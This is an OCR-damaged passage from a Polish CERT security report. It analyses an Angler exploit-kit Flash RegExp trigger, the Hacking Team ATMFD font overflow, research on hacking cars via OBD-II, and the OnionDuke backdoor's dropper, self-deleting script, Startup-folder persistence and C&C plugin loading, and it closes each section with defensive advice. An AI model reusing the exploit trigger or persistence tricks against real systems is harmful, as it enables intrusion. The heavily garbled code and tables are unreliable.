wej). Exploit na te luke zostat wiagczony m.in. do exploit
packu Angler.

Btad znajduje sie w algorytmie przetwarzania wynikow
funkcji wyszukiwania wzorcéw. Ponizej przedstawiono
fragment Anglera:

var _local 2 : String = “(?le|))\37”;
var triggeringregex : String = “”;
var _regExpobject : RegExp = null;
var _local_3:int =0;

while (_local_3 < 48) {
_local_2 = (“(” + _local_2) + )
_local_3++;

}’.

triggeringregex = ((“sh(?le|” + _local_2) + “)(?P<test>)");

a);

Ostateczna postaé tancucha triggeringregex przedsta-
wiono ponizej:

sh(?le]| (@@ relgsnlalalala)la) @l
ala)la)la)la)la)la)la)la)la)la)|a)la)la)la)la)la)la)la)la)la)la)la)la)la)la)]
ala)la)la)la)la)la)la)la)la)la)la)la)la)(?P<test>)

Tak przygotowany tariicuch jest wykorzystany do stwo-
rzenia obiektu RegExp. Nastepnie jedna z jego funkciji
(exec) jest uruchamiana, parser ActionScript w pluginie
Flash btednie przetwarza zatadowany fancuch i przyste-
puje do wykonywania kodu atakujacego. Zazwyczaj sa
to instrukcje instalacji oprogramowania szpiegowskiego.

trace(triggeringregex);
_regExpobject = new RegExp(triggeringregex, “”);
_regExpobject.exec(“sh0123456789sh0123456789”);

Jak to dziata? W funkcji RegExp::_exec wykorzystywa-
na jest lokalna zmienna ovector:

#define OVECTOR_SIZE 99
int ovector[OVECTOR_SIZE];

Zadaniem tej tablicy jest przechowywanie informaciji
o potozeniu dopasowanych wzorcéw. W przypadku
ich dopasowania informacja o tym zajmuje dwa 32-bi-
towe pola tablicy. Prosty rachunek pokazuje, ze w ta-
blicy mozna przechowywac informacje o maksymalnie
49 dopasowaniach.

By wypetnic¢ tablice z przesunieciami dopasowan, wy-
wotywana jest funkcja pcre_exec, do ktérej jako argu-
ment przekazywana jest omawiana zmienna.

if( startindex < O ||

startindex > subjectLength ||

(results = pcre_exec((pcre*)(m_pcrelnst->regex),
NULL,

utf8Subject.c_str(),

subjectlLength,

startindex,

PCRE_NO_UTF8_CHECK,

ovector,

OVECTOR_SIZE)) < 0)

matchilndex = 0;
matchlLen = 0;
return NULL;

}

Powyzszemu wywotaniu towarzyszy warunek, ze kie-
dy wartosé zwrécona przez wywotanie pcre_exec jest
mniejsza od 0, nastepuje wczesne zakonczenie funkgcji
i zwrécenie wartosci NULL.

Mozna wnioskowadé, iz programista zaktadat, ze gdy
pcre_exec zwroci dokiadnie 0, zmienna powinna byé
przetwarzana w zwykiym trybie. Powyzsze wynika
z opisu zwracanych wartosci w specyfikacji pcre_exec,
opisanych w witrynie:

http://www.pcre.org/original/doc/html/pcreapi.
html#errorlist.

Jednak z lektury dalszej czesci tego dokumentu wyni-
ka, iz w przypadku kiedy funkcja pcre_exec zwrdcita 0,
zawartos¢ tablicy ovector nie nadaje sie do przetwa-
rzania. Przypadek ten nie zostat uwzgledniony przez
autora warunku. Ponizszy wzorzec, zawierajacy explo-
it, posiada wiecej niz 48 nawiaséw, zmienna ovector
jest za mata na wynik, wiec pcre_exec zwrdci 0.

shle|(@ @ reln3la)alala)a)la)la)|
ala)la)lala)la)lala)la)la)la)la)la)la)la)ia)la)la)ia)la)la)lia)la)la)la)la)]
ala)la)la)la)lala)la)la)la)la)la)la)la)(?P<test>)

Przetwarzaniu zostaly wiec poddane nieprawidiowe
dane. Nastepnie funkcja RegExp::_exec btednie przy-
stepuje do przetwarzania zmiennej ovector.

W kolejnym kroku natrafiamy na blok:

// handle named groups
if (m_hasNamedGroups)

int entrySize;
pcre_fullinfo((pcre*)(m_pcrelnst->regex), NULL, PCRE_
INFO_NAMEENTRYSIZE, &entrySize);

int nameCount;
pcre_fullinfo((pcre*)(m_pcrelnst->regex), NULL, PCRE_
INFO_NAMECOUNT, &nameCount);

// this space is freed when (pcre*)m_pcrelnst is freed

char *nameTable;
pcre_fullinfo((pcre*)(m_pcrelnst->regex), NULL, PCRE_
INFO_NAMETABLE, &nameTable);

/* nameTable is a series of fixed length entries (entrySize)
the first two bytes are the index into the ovector and the
result

is a null terminated string (the subgroup name) */

for (int i = 0; i < nameCount; i++)

int namelndex, length;

namelndex = (nameTable[0] << 8) + nameTable[1];

length = ovectorfnamelndex * 2 + 1] — ovector] namelndex * 2 J;
Atom name = stringFromUTF8((nameTable+2), (uint32_t)
VMPI_strlen(nameTable+2));

name = core->internString(name)->atom();

Atom value = stringFromUTF8(utf8Subject.c_
str()}+ovector[namelndex*2], length);
a->setAtomProperty(name, value);

nameTable += entrySize;

}
}

Warunek m_hasNamedGroups zawiera informacje, czy
regex, ktéry podlega przetwarzaniu, zawiera grupy na-
zwane. W tym przypadku zawiera on grupe o nazwie
wtest”, dlatego warunek jest prawdziwy i kod zostanie
wykonany. Informacje o grupach nazwanych zostana
udostepnione w zmiennej nameTable.

Przyjrzyjmy sie dokiadniej fragmentowi opisanego
wczesniej kodu:

namelndex = (nameTable[0] << 8) + nameTable[1];
length = ovectorjnamelndex * 2 + 1] — ovector] namelndex * 2 J;

Namelndex oraz length sa wypetniane w przeswiadcze-
niu, ze tablica ovector jest wystarczajaco duza. W rze-
czywistosci konczy sie ona wczesniej, a atakujacy kon-
troluje, jak daleko poza zmienna lokalna moze czytaé
ze stosu. Odczytane funkcje sa zwracane do skryptu
ActionScript w postaci obiektu ArrayObject:

ArrayObject *a = toplevel()->arrayClass()->newArray(results);
[-]

Atom value = stringFromUTF8(utf8Subject.c_
str()+ovector[namelndex*2], length);
a->setAtomProperty(name, value);

[]

return a;

Efektem wykonania tej funkcji z zadanym wzorcem
zawierajacym wiecej niz 48 nawiasow jest odczytanie
ze stosu wybranej przez atakujacego wartosci. Dzieki
temu atakujacy moze np.:
pobraé¢ adres powrotu i na jego podstawie zoriento-
wac sie w rozkiadzie bibliotek w pamieci, by ominac¢
ASLR,
odczyta¢ zawartosé ciasteczka (stack cookie)
i uwzgledni¢ ja przy nadpisywaniu bufora w trakcie
wykorzystywania luki stack-based buffer overflow,
pobraé informacje i nadpisa¢ wskaznik do podproce-
dury wyjatkéw adresem swojej procedury i wywotaé
ten wyjatek (jednoczesnie procedure), dzielac przez
zero.

CERT Orange Polska rekomenduje:

Pamietaj o aktualizacji wykorzystywanego oprogramo-
wania, zwlaszcza tych programéw, ktére sa odpowie-
dzialne za przetwarzanie tresci w internecie. Dodatkowo
mozesz zainstalowaé¢ oprogramowanie ograniczajace
skutki wiamania, np. aplikacje EMET.

13.4. Zatacznik 4. Luki CVE-2015-2426
i CVE-2015-2433 a.k.a. Hacking
Team's ATMFD exploit

Hacking Team to wloska firma oferujaca swoim klien-
tom ustugi hackowania i inwigilacji. Z jej ustug korzy-
staly stuzby specjalne kilku krajow, réwniez z Polski.
Jej infrastruktura zostata zhackowana w czerwcu
2015 roku, w wyniku czego do sieci wyciekly firmowe
maile. Ws$réd tysiecy ujawnionych wiadomosci odna-
leziono informacje o exploitach na nieujawnione do tej
pory podatnosci (tzw. 0-day), m.in. exploita na bibliote-
ke AMTFD.dIl, wykorzystujacego btedy w przetwarza-
niu struktury fontéow w momencie ich tadowania przez
jadro systemu Windows.

W wyniku dziatania exploitu atakujacy moze zdobyc¢
lub eskalowaé uprawnienia w systemie Windows az do
wersji 8.1. Btad pozwalajacy na przejecie kontroli nad
kodem wykonywanym w systemie ofiary wystepuje
w uproszczonym na potrzeby niniejszego raportu ko-
dzie przedstawionym ponizej:

DWORD rozmiar = LiczbaObiektow * 0x20;

CHAR* Obiekt = EngAllocMem("Adbe", FL_ZERO_
MEMORY, rozmiar + 8); *(DWORD *)(Obiekt) = length;
*(DWORD *)(Obiekt + 4) = "ebdA";

if (Obiekt)
{

/]...
memcpy(Obiekt + 8, Bufor, 0x20);
//...

}

Zmienna LiczbaObiektow jest pobierana z pliku fontu,
ktéry moze zosta¢ stworzony réwniez przez uzytkow-
nika (a takze hackera) z ograniczonymi uprawnieniami.
Btad polega na tym, ze programista zatozyt, iz w przy-
padku wartosci tej zmiennej réwnej 0 zmienna O biekt
bedzie réwniez wynosié¢ 0, co zatrzyma dalsze przetwa-
rzanie pliku fontu. Jednak przy alokacji do zmiennej roz-
miar jest dodawana liczba 8, wiec w typowej sytuaciji pa-
mieé do obiektu Obiekt zostanie zaalokowana zawsze.

Nastepnie do zmiennej Obiekt kopiowane jest 0x20 baj-
tow (32 bajty w systemie dziesietnym). Jesli wiec w fon-
cie rozmiar obiektu zostat okreslony jako 0, nastepuje
zapis 24 bajtow poza koniec bufora. Odpowiednio mani-
pulujac innymi elementami pliku fontu, atakujacy moze
w ten sposoéb sformutowaé dane przepetniajace bufor
Obiekt, by przeja¢ kontrole nad kodem wykonywanym
w jadrze i jednoczesnie dokonaé eskalacji uprawnien
w systemie.

CERT Orange Polska rekomenduje:

Upewnij sig, ze w systemie Windows zainstalowana jest
poprawka KB3079904 (zwiaszcza jesli administrujesz
systemem zarzadzajacym krytycznymi danymi, z ktdre-
go korzystaja uzytkownicy o ograniczonych uprawnie-
niach). Jesli zainstalowanie poprawki nie jest mozliwe,
zmien nazwe biblioteki atmfd.dll, co uniemozliwi zatado-
wanie podatnego kodu do jadra.



13.5. Zatacznik 5. Wiamania do
podsystemow sterujacych
samochodami

Na temat wlaman do systemoéw sterujacych samo-
chodami dyskusje trwaja od kilku lat, jednak dopiero
w 2015 roku udato sie przeprowadzi¢ wiamanie bez
fizycznego podtaczania do diagnostycznych podsyste-
mow auta.

Eksperymentator analizowat urzadzenie o nazwie
Snapshot - rozszerzenie podtaczane do diagnostycz-
nego portu OBD-Il, umozliwiajace korzystanie z pod-
systemu diagnostycznego samochodu. Wyjsciowym
pomystem, ktory przyswiecat projektowi Snapshot,
byta mozliwos¢ zbierania informacji o niektérych pa-
rametrach prowadzonego samochodu. Korelujac je,
mozna by np. okresli¢ styl jazdy danego kierowcy,
chocéby po to, by dostosowacé do niego sktadke ubez-
pieczeniowa.

Urzadzenia podtaczane do portu OBD-Il komunikuja sie
z resztg podsysteméw samochodu za posrednictwem
szyny CAN (Controller Area Network). Przyktadem
moze by¢ transmisja z podsystemu odpowiedzialnego
za wykrywanie kolizji, informujaca podsystem kontro-
li poduszek powietrznych o koniecznosci ich urucho-
mienia. W nowych samochodach do CAN podtaczane
sa m.in. hamulce, poduszki powietrzne, tempomat czy
wspomaganie kierownicy.

Z badan wynika, iz Snapshot nie tylko komunikuje sie
z krytycznymi systemami pojazdu, ale réwniez sam
utrzymuje tacznosé ze zdalnymi weztami w celu prze-
kazywania informacji za posrednictwem sieci komor-
kowej. Oznacza to ni mniej, ni wiecej, tylko mozliwos¢é
kontrolowania krytycznych systeméw ponad dwodch
miliondow samochodéw, w ktéorych zainstalowano
Snapshot (do stycznia 2015 roku), z jednego lub kilku
centralnych weziow! Hollywood staje sie rzeczywisto-
$cig, a gdy dowiemy sie, ze transmisja odbywa sie nie
tylko bez szyfrowania, ale nawet bez uwierzytelniania
stron (I!!), ogranicza nas juz tylko wyobraznia. Tego-
roczne eksperymenty przyniosly juz nieco przeraza-
jace efekty w postaci wtamania do systemu jadacego
autostrada samochodu, przejecia kontroli nad jego
radiem i klimatyzacja, pobrania danych geolokaliza-
cyjnych oraz ingerencji w mechanizmy przyspieszenia
i hamowania.

CERT Orange Polska rekomenduje:

Zanim podiaczysz jakies urzadzenie do systemoéw
sterujacych samochodu, zastanéw sie nad aspektami
bezpieczenstwa. Jesli nie jest to absolutnie niezbedne,
lepiej unika¢ urzadzen komunikujacych sie ze zdalnymi
wezfami.

13.6. Zatacznik 6. Backdoor
OnionDuke

OnionDuke to nazwa ztosliwego oprogramowania, kt6-
re bylo serwowane uzytkownikom sieci TOR z wyko-
rzystaniem zlosliwego wezta wyjSciowego. Pierwsze
informacje o odkryciu tego procederu zostaty opubliko-
wane w pazdzierniku 2014 roku. Ogdine zasady dziata-
nia jego elementéw zostaly przeanalizowane i opisane,
w niniejszej publikacji dokonano szczegétowej analizy
kodu i funkcji bota. Ponizej skréty MD5 analizowanych
probek (tabela 7.):

Kontekst atakéw z wykorzystaniem OnionDuke po-
zwolit niektérym badaczom na powigzanie ich z kam-
paniami z wykorzystaniem oprogramowania MiniDuke.
Nalezy jednak pamietaé, ze sa to dwa rozne gatunki
ztosliwego oprogramowania.

Dropper

Dropper OnionDuke na pierwszy rzut oka wyglada
jak zwykla aplikacja uzytkowa. Jej punkt wejsciowy
wskazuje na standardowa procedure inicjalizacji CRT
(C-Run-Time), co jest czeste w przypadku aplikaciji
graficznych systemu Windows. W trakcie wstepnej,
statycznej analizy mozna zobaczy¢, ze po inicjalizaciji
nastepuja typowe wywotania aplikacji opartej na win-
dowsowym Ul, takie jak CreateWindowEx (utworzenie
okna), LoadStringW (zatadowanie tancucha znakow
z zasobow), GetMessage (odebranie wiadomosci skie-
rowanej do okna), DispatchMessage (obstuga wiado-
mosci - rysunek 24.). Zostata réwniez utworzona tra-
dycyjna petla obstugi wiadomosci typowa dla aplikaciji
okienkowych. Sterowanie jednak nigdy nie dociera do
wspomnianej petli, poniewaz dziatanie programu zo-
staje zakonniczone w podprocedurze wywotanej przed
pobraniem pierwszej wiadomosci.

Podprocedura ta jest odpowiedzialna za wypakowanie
backdoora, umieszczenie go w systemie plikéw oraz
uruchomienie. Backdoor jest dostarczany w postaci
biblioteki DLL, ktéra jest zaszyfrowana i przechowy-
wana w dropperze jako zaséb typu GIF. Po wstepnym
zapoznaniu si¢ z jego zawartoscia mozna zobaczyé, ze
rzeczywiscie zawiera on ciag znakoéw ,,GIF89”. Jednak
ten ciag jest wykorzystywany jedynie jako klucz do od-
szyfrowania pozostatej czesci zasobu.

Zasob jest zaszyfrowywany za pomoca algorytmu, kté-
rego nie udato sie zidentyfikowaé. Po odszyfrowaniu
zawartosé biblioteki jest umieszczana w pliku User-
Cache.dll, a nastepnie tadowana przy wykorzystaniu
programu rundli32.exe, ktéry wywotuje eksportowana
funkcje biblioteczng ADB_Release. Na koniec dropper
korzysta z tradycyjnej juz metody autodestrukcji (ktéra
omija obowiazujacy w systemie Windows zakaz usu-
wania pliku dziatajacego procesu) z wykorzystaniem
skryptu BAT, ktory usuwa plik droppera i siebie (rysu-
nek 25.).

Kod bota

Gtéwna czes¢ bota OnionDuke zostata stworzona
w jezyku C++. Swiadczy o tym duza liczba typowych

Dropper (OnionDuke.A)

28f96a57fa5ff663926e9bad51a1dOcb

Wypakowany bot (OnionDuke.B)

c8eb6040fd02d77660d19057a38ff769

Tabela 7. Skroty MD5 analizowanych prébek OnionDuke

WMILWILr Y pu:" -7 8 . min>vdnue
812012F1 call ds:LoadAcceleratorsy
012812F7 mov esi, eax
012012F9 call sub_12@81400
G12012FE nov edi, ds:GetHessageW
81201304 push ] ; WHsgFilterMax
81201306 push 8 s WMsgFilterMin
81201308 push 0 3 hind
1201300 lea eax, [ebp+hsqg]
1201300 push eax s lphsg
M120130E call edi ; GetHessageW
M201310 test eax, eax
M2m312 jz short loc_1201354
h
)
81281314 push ebx
912061315 nmov ebx, ds:TranslatefAccelerator®
B1201318 jmp short loc_1281328
0¥
™ME
21320
1291320 loc_1281328:
M201320 mov edx, [ebpe+Msg.hwnd]
#M201323 lea ecx, [ebpeMsg]
11201326 push BCX + 1pHsg
81201327 push esi : hAccTable
201328 push edx + h¥nd
11281329 call ebx ; Translateficceleratory
M201328 test eax, eax
1201320 jnz short loc_1281343
h 4
e
B128132F lea eax, [ebp+hsg]
81281332 push eax : lpMsg
81281333 call ds:TranslateHessage
#1201339 lea ecx, [ebp+hsg]
#128133C push BeCX : lphMsg
#128133D0 call ds:DispatchHessage¥

¢

dla tego jezyka struktur i sposobéw wywotan. Ponizej
przedstawiono, w jaki sposéb OnionDuke korzysta
z tych struktur i wywotan w celu wykonywania swoich
ztosliwych operaciji.

Obiekty to instancje klas. Obiekt na poziomie asemblera
mozna przedstawi¢ jako zbiér: wywotan niewirtualnych

"™E
81261343
1201353 loc_1201343: ; wHsgFilterMax
81201353 push 4]
81281345 push 1] ; whsgFilterMin
1281347 push 0 3 h¥nd
M201349 lea edx, [ebp+Msqg]
M23134C push edx » lpMsg
1201340 call edi ; GetHessageW
M120134F test eax, eax
91281351 jnz short loc_1201328

z 1

v

Rysunek 24. Pozorowana petla obstugi wiadomosci

File Edit Format View Help

:Repeat

del "c:‘\Users\john'Desktop
28F96A57FASFFE63926E9BAD51A1D0OCE. exe"if exist "C:\Users
john\Desktop\28F96A57FASFF663926E9BAD51A1D0CE. exe” goto

Re?eat
del "3382.bat”

33B2 - Notepad

= o <

Rysunek 25: Skrypt wykonujacy autodestrukcje droppera

i statycznych (w tym przede wszystkim konstruktoréw),
tablicy wywotan wirtualnych (tzw. vtable, w tym przede
wszystkim destruktoréw) oraz atrybutéw obiektu.
Obiekt jezyka C++ na poziomie asemblera nie jest tatwy
do zidentyfikowania. Kompilator postuguje sie réznymi
metodami zaimplementowania wywotan jego metod,
dlatego czasami trudno ocenié, czy dane wywotanie jest
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push 14h

mouv [esi+1Bh], eax

call near ptr allocate_1
X0 edi, edi

add esp, 4

cmp eax, edi

jz short loc_78322B7F
mov dword ptr [eax], offset PseudoRandom
mov [eax+4], edi

mov [eax+8], edi

mov [eax+BCh], edi

mov [eax+18h], edi

imn chn¥t 1nr 7A222RA1

Rysunek 26: Konstruktor klasy PseudoRandom

JL ].l.ll._d' YWILLD 1D

push i

call near ptr allocate_1

add esp, 4

test eax, eax

jz short loc_78322A66

mov dword ptr [eax], offset UnknownClass1
nov esi, eax

imn chnet 1nr 70222048

Rysunek 27. Konstruktor nieznanej klasy

wywotaniem metody obiektu, czy zwykitej funkcji. W ni-
niejszym raporcie skoncentrowano sie na kodzie gene-
rowanym przez kompilator Microsoft Visual C++.

Waznymi elementami pozwalajacymi zidentyfikowac
obiekty sa konstruktory (rysunek 26. i 27.) i destruk-
tory. Konstruktory zazwyczaj wystepuja na poczatku
kodu, ktéry jest wywotywany. Mozna powiedzie¢, ze
w przypadku aplikacji napisanych w C++ stanowia
przedtuzenie prologu podprocedury (czyli np. tworze-
nia ramki stosu, konfiguracji struktur odpowiedzial-
nych za obstuge wyjatkow czy odiozenie na stosie
zabezpieczajacego ciasteczka). Konstruktor obiektu
klasy z metodami wirtualnymi tatwo zidentyfikowacé po
charakterystycznej sekwencji:

1. alokacja pamieci na stercie lub zarezerwowanie
przestrzeni na stosie na obiekt (zazwyczaj matej
wielkosci),

2. umieszczenie wskaznika na poczatku vtable (czyli
transport statej pod adres na stercie uzyskany w kro-
ku poprzednim).

Opisywana tablica vtable stanowi podstawowy sposéb
identyfikaciji obiektéw okreslonej klasy lub dziedzicza-
cych z tej klasy. W niniejszym opracowaniu postuzo-
no si¢ przesunigciami tablic vtable w celu identyfikacji
podstawowych klas, z ktérych sktada sie OnionDuke.

Instancja bota — opis struktury

W trakcie wykonywania kodu eksportowanej procedu-
ry ADB_Release biblioteki bota tworzony jest watek,
ktory jest odpowiedzialny za skonfigurowanie i uru-
chomienie ztosliwych funkciji. Instancja bota jest opisa-
na przez strukture przedstawiona na rysunku 28.

Najpierw bot tworzy obiekt klasy FileSystem (adres vta-
ble - .rdata +0x2444) - rysunek 29. Obiekt ten jest od-
powiedzialny za interakcje z systemem plikéw. Tworzy
on korzen instalacji bota, w przypadku analizowanej
probki — katalog %CSIDL_LOCAL_APPDATA%\Adobe\
Acrobat\10.0 (przy czym %CSIDL_LOCAL_APPDA-
TA% w systemie, na ktérym przeprowadzano analize,
ma wartosé: C:\Users\<user>\AppData\Local\). Z jego

Bot

FileSystem

PseudoRandom

ConfigParser

ConfigCrypto

Bot
Configuration
Plugin
configuration

Configuration
D th

Rysunek 28. Struktura opisujaca instancje bota

wykorzystaniem przeprowadzane jest przeniesienie bi-
blioteki bota do korzenia oraz zapisywanie, odczytywa-
nie i usuwanie plikéw konfiguracyjnych i tadowalnych
(bibliotek DLL).

Po zainstalowaniu plikdw w korzeniu instalacji bot
przystepuje do zapewnienia sobie tzw. punktu za-
czepienia (ang. persistance), czyli mechanizmu, ktéry
zapewni, ze bedzie on fadowany przez system przy
kazdym uruchomieniu. Wykorzystuje on obiekty kla-
sy RegisterKey (vtable: .rdata +0x262c), za pomoca
ktorych modyfikuje w rejestrze domysina lokalizacje
folderu Startup, a nastepnie korzystajac z wrappera
obiektu OLE (vtable: .rdata +0x2668) obstugujacego
skroty do plikéw, umieszcza w nim skrét do polecenia
tadujacego biblioteke, tj.:

rundli32.exe C:\Users\<user>\AppData\Local\Adobe\
Acrobat\10.0\UserCache.dIll, ADB_Release

Modyfikacja ta sprawia, ze ten punkt zaczepienia
przestaje by¢ widoczny dla niektérych programow
diagnostycznych (np. Sysinternals Autoruns). Na ry-
sunku 30. przedstawiono oryginalny wpis dotyczacy
folderu Startup, zas na rysunku 31. zmodyfikowany
wpis dotyczacy folderu Startup.

Konfiguracja i operacje

Tresé konfiguracji przechowywanej w pliku jest zaszy-
frowana i opisana suma kontrolng CRC32. Do jej od-
szyfrowania i weryfikacji jest wykorzystywany obiekt
klasy ConfigCrypto (vtable: .rdata +0x228c). Bot po-
dejmuje prébe odczytu konfiguracji z dostarczonego
pliku. Jesli sie to nie powiedzie (np. dlatego, ze jest to
pierwsze uruchomienie bota), pobiera on konfiguracje
inicjalizujaca ze swoich zaszyfrowanych zasobdéw.

Tekst konfiguracyjny pozyskany z zasobdw, z pli-
ku konfiguracyjnego lub ze zdalnego wezia C&C, po
zweryfikowaniu sumy kontrolnej i odszyfrowaniu jest
przeksztatcany w drzewo. Do tej operacji jest wyko-
rzystywany rekurencyjny algorytm, ktéry tworzy wezet
konfiguracji dla kazdej zakoriczonej linii i przyporzad-
kowuje podrzedne wezly na podstawie wcieé.

e.dl11:70338441 db 8Ch ; I

e.d11:70338442 db 33h ; 3

e.dl1:70338443 db..Z8h ;. p

e.d11:70338444 FileSystem dd offset FileSystem__dtor ; DATA XREF: ¢
e.dl1:70338448 dd offset FileSystem_ getlInstallationRoot
e.d11:7033844C dd offset FileSystem_ getEngineFileName
e.dl1:70328450 dd offset FileSystem__getHoduleFileName
e.d11:70338454 dd offset FileSystem__contructPaths
e.d11:70328458 dd offset FileSystem__installFiles
e.d11:70323845C dd offset FileSystem__openFilelInRoot
e.011:70338460 dd offset FileSystem deleteFileInRoot
e.d11:70338464 dd offset FileSystem readFilelInRoot
e.d011:70338468 dd offset FileSystem writeFileInRoot
e.d11:7033846C dd offset FileSystem__getFullPath
e.d11:76338470 dd offset FileSystem_ makeTempFileInRoot
e.dl1:76338474 dd offset FileSystem_ deleteFile
e.d11:70338478 dd offset FileSystem readFile
e.d11:7033847C dd offset FileSystem_ createDirStructure
e.dl1:70338480 dd offset FileSystem_ deploylnitialFiles
e.dl1:70338484 dd offset FileSystem__getUserShellPath
e.dl11:78338488 db 4Bh | @

e.d11:70338489 db 7Fh ; 1§

e d11-7A22848a dh 22h ?

Rysunek 29. Vtable klasy FileSystem
wis ab] Programs REG_EXPAND_SZ HUSERPROFILE%\AppData\Roaming\Microsoft\Windows\ Start Menu\Programs
Windows ) ab) Recent REG_EXPAND_SZ %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent

4| CurrentVersion ab)SendTo REG_EXPAND SZ  %USERPROFILE%\AppData\Roaming\Microsoft\Windows\SendTo
Action Canbey ab)Start Menu REG_EXPANDSZ  %USERPROFILES\AppDats\Roaming\Microsoft\ Windows\Start Menu
ﬂpp:lets ab]Startup REG_EXPAND S  SUUSERPROFILESG\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
i Exp::.;n“d ab Templates REG_EXPAND_SZ RUSERPROFILE%\AppData\Roaming\Microsoft\Windows\ Templates
Rysunek 30. Oryginalny wpis dotyczacy folderu Startup
IVIE. ab| Programs REG_EXPAND_SZ $USERPROFILE%\AppData\Roaming'\Microsoft\Windows\ Start Menu\Programs
Windows _ ab| Recent REG_EXPAND_SZ SUSERPROFILES:\AppData\Roaming\Microsoft\Windows\Recent
44§ CurrentVersion ab|SendTo REG_EXPAND_SZ S%USERPROFILE%\AppData\Roaming'\Microsoft\Windows\SendTo
Action Center b Start Menu REG_EXPAND_SZ %USERPROFILE%\AppData\ Roaming! Microsoft\Windows' Start Menu
Applets ab]Startup REG_SZ C:\Users\john\AppData\Local\Startup
. Bpf;jan:ed ab| Templates REG_EXPANDSZ SUSERPROFILES\AppData\Roaming\Microsoft\Windows\Templat
Rysunek 31. Zmodyfikowany wpis dotyczacy folderu Startup
Configuration
Configaraticnods
Value
SubNodesCount
|— SubNodeList
Lmi:m | ust:lm.. ListHode Llikiod.c
Haxt —1 Hext e Haat L Hext
Prevous [ Prevces le— Prenous e Preous
2 Empty = o
Nans Nams Hame
Valee Value Value
| SubNodesCoust ‘SubNodesCount SubModesCount
SubNodeList SubNodeList SubModelist
[ ¥
¥ ] ¥ ]
Listhicde " Luthods Lusthode Listhioda Listtiods Listhiods Listtioda Listfiods
Mext e Maxt - Hext m— Mext Next B Hext — Next = Hext
Previous - - Provious -t Previous ft—— Previous Previous - - Prenous a— Previous m— Previous
eﬂ‘h’u!lmnd.l Empty Cr Empty i
Hama Hame Name | iafue Hame Hasme
Value Valus Value Vajue Valus Value
SubNodesCount
‘SubModeList ‘SubtiodeList il SubliodeLast SubtéedeList

Rysunek 32. Ogélny schemat struktury drzewa przechowujacego konfiguracje
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Nazwa pola Znaczenie Instrukcja Zastosowanie

Name Nazwa instrukcji . . . . . - __— .
plugin instrukcja pobrania, konfiguracji i uruchomienia pluginu

Value Operand instrukgji
url dane do konstrukcji adresu zasobu, ktéry nalezy wykorzystac¢ do

SubNodesCount Jesli operandem jest blok, liczba instrukcji w tym bloku realizacji instrukcji nadrzednej

SubNodesList Wskazanie na Weze'-strainik I|Sty ZaWierajqce instrukcje bloku bhost zestaw instrukcji opisujqcych przy{qczanie bota do kanatu c&c’
webhosts takich jak szczegély dot. konstrukcji URL

Tabela 8. Atrybuty elementéw konfiguracyjnych 3 )

Ctlproc nazwa eksportowanej funkcji pluginu, ktéra nalezy wywotaé

Tabela 9. Przykiadowe instrukcje konfiguracyjne

50, net/forun/php meri, php

UserCache.d11:703384AC PseudoRandom dd offset PseudoRandom__ dtor
menui, php UserCache.d11:7083384B0 dd offselt PseudoRandom__getUolumeSerialNumber
UserCache.d11:703384B4 dd offset PseudoRandom__getParameter_ A1
UserCache.d11:703384B8 dd offset PseudoRandom__getParameter_2

& .cond/menu., php UserCache.d11:703384BC dd offset PseudoRandom__generateRandomName
UserCache.d11:703384C0 dd offset PseudoRandom__generateRandomKB
UserCache.d11:703384Ch dd offset dword_7033BE18

oy, comdmenu, php

Rysunek 33. Konfiguracja dostarczana z backdoorem

Calym procesem przetwarzania konfiguracji zarzadza
obiekt klasy ConfigParser (vtable: .rdata +0x22a4). Jest
on odpowiedzialny za konwertowanie tresci konfigura-

Rysunek 35. Vtable klasy PseudoRandom

instrukcji. Kazda konfiguracja moze wiec zawieraé
prosty skrypt, ktéry bedzie wykonywany przez bota lub
zainstalowane pluginy. Przyktadowe instrukcje opisa-

s cji do fatwo zarzadzalnej struktury opartej na drzewie no w tabeli 9.
i oraz do jej obstugi (wstawiania weztéw, wyszukiwania
weztéw, wyznaczania poddrzew). Najwazniejsza funkcja silnika jest obstuga rozkazéw
cfg umieszczonych na serwerze C&C. Proces tej obstugi
0 Do przechowywania przetworzonej konfiguracji sa przebiega dwuetapowo.
5 wykorzystywane klasy: Configuration (.rdata +0x22ec),
ConfigurationNode (vtable) oraz struktura ListNode. Na pierwszym etapie bot na podstawie lokalnej konfi-
L SubNodeList Zaleznosci pomiedzy nimi zostaly przedstawione na guracji stara sie przeprowadzié jej aktualizacje (stuzy
rysunku 32. do tego komenda ,,webhosts”). W tym celu, postugujac
mutoda h:od ST, o sie parametrami instrukcji (podinstrukcjami), konstru-
N N A N R " Elementy skiadajace sie na konfiguracje umieszczane uje adresy URL i wykorzystujac funkcje biblioteki wini-
et > et > e > =t sa w obiektach klasy ConnectionNode, ktéra zawiera net.dll, prébuje je pobraé i przetworzyé jak standardo-
Previous Previous aam— Previous Previous m.in. atrybuty opisane w tabeli 8. we pliki konfiguracyjne.
CpnfigurationNode Empty ConfigurationNode ConfigurationNode . . . i . o . .
o i wabhosts Pole Bot configuration struktury Bot stanowi korzen W drugim kroku bot aktualizuje lokalng konfiguracje
drzewa. Zawiera on pierwszy obiekt ConnectionNode. w oparciu o pobrana tresé. Najciekawsza czescia tego
o * ° Jego pole SubNodesList wskazuje na element ListNo- etapu jest obstuga pobranego instrukciji ,,plugin”. Jesli
1 0 S de, czyli liste obiektow ConnectionNode reprezentu- instrukcja ta zawiera podinstrukcje ,,url” i ,ctiproc”, bot
SubNodeList SubNodeList SubModeList jacych instrukcje pierwszego poziomu ,,wciecia”. Ele- pobiera zasob wskazywany w operandach tych instruk-
ment ListNode to wezel listy podwojnie powiazanej, cji i zachowuje go w swoim korzeniu jako biblioteke dll
4 jego pola wskazuja na kolejny i poprzedni wezet oraz z nazwa odpowiadajaca nazwie plugina. Nastepnie fa-
r i | zawiera on dane dotyczace instrukciji. duje te bi_bliotekg _do. p_amigci aktualnie wykqnywanggo
e P pye. Py T B ) . ) . ) procesu i wywolu_je jej eksportowana funkcje okreslo-
Next . ot ot _ ot Jesli operandem instrukciji jest blok instrukciji, kolejne na przez instrukcje ,ctlproc”.
“ Next > > o czesci tego bloku sa organizowane w podobna struk-
Frevious < Previous Previous < Previous R Previous ture drzewa i przytaczane do struktury bazowej. W trakcie analizy natrafiono na szereg ciekawych technik
ConfigurationNode Empty QonfigurationNode Empty ConfigurationNode prowadzenia ztosliwych operacji przez OnionDuke.
check_new sac url arl Przyktadowa konfiguracja, dostarczana razem z botem Pomocnicze pliki zawierajace konfiguracje instancji sa
000 — ) w postaci zaszyfrowanego zasobu, przedstawiona zosta- tworzone z wykorzystaniem nazw utworzonych przez
